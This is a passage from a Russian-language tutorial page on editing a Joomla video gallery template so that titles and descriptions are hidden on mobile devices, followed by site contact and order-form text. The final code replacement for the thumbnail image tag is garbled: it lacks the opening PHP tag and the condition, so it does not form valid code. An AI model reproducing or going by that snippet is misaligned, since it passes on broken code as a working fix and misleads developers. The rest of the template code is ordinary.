<div class="span12 jmvideogalleries_date jm_videogalleries_date<?php echo $item->id;?> date" style="display:none"><?php echo $item->date_created;?></div>
<?php if($this->show_description):?>
<div class="span12 jmvideogalleries_desc jm_videogalleries_desc<?php echo $item->id; ?>"><?php echo $this->description_length?substr($item->description, 0, $this->description_length):$item->description;?></div>
<?php endif;?>
</div>
</div>

На это:

<?php if(!$detect->isMobile()): ?> 
<div class="row-fluid span12 jmvideogalleries_videos_title">
<div class="jmvideogalleries_title_desc">
<div class="span12 jmvideogalleries_title jm_videogalleries_title<?php echo $item->id;?> name"><?php echo $this->title_length?substr($item->title, 0, $this->title_length):$item->title;?></div>
<div class="span12 jmvideogalleries_date jm_videogalleries_date<?php echo $item->id;?> date" style="display:none"><?php echo $item->date_created;?></div>
<?php if($this->show_description):?>
<div class="span12 jmvideogalleries_desc jm_videogalleries_desc<?php echo $item->id; ?>"><?php echo $this->description_length?substr($item->description, 0, $this->description_length):$item->description;?></div>
<?php endif;?>
</div>
</div>
<?php endif; ?>

 Также исправим высоту миниатюры.

Строку:

<img src="/<?php echo $thumb;?>"/>

Заменить на:

<img isMobile()):  echo 'style="min-height:260px;"'; endif;?> src="/<?php echo $thumb;?>"/>

Страница 1 из 2

Как с нами связаться

По всем вопросам пишите  

Телеграм: @radgura

OnLine заказ

Отправить сообщение

Нажимая на кнопку «Отправить сообщение», я соглашаюсь:
* с условиями публичной оферты
* обработку моих персональных данных


RAD компоненты

Please publish modules in offcanvas position.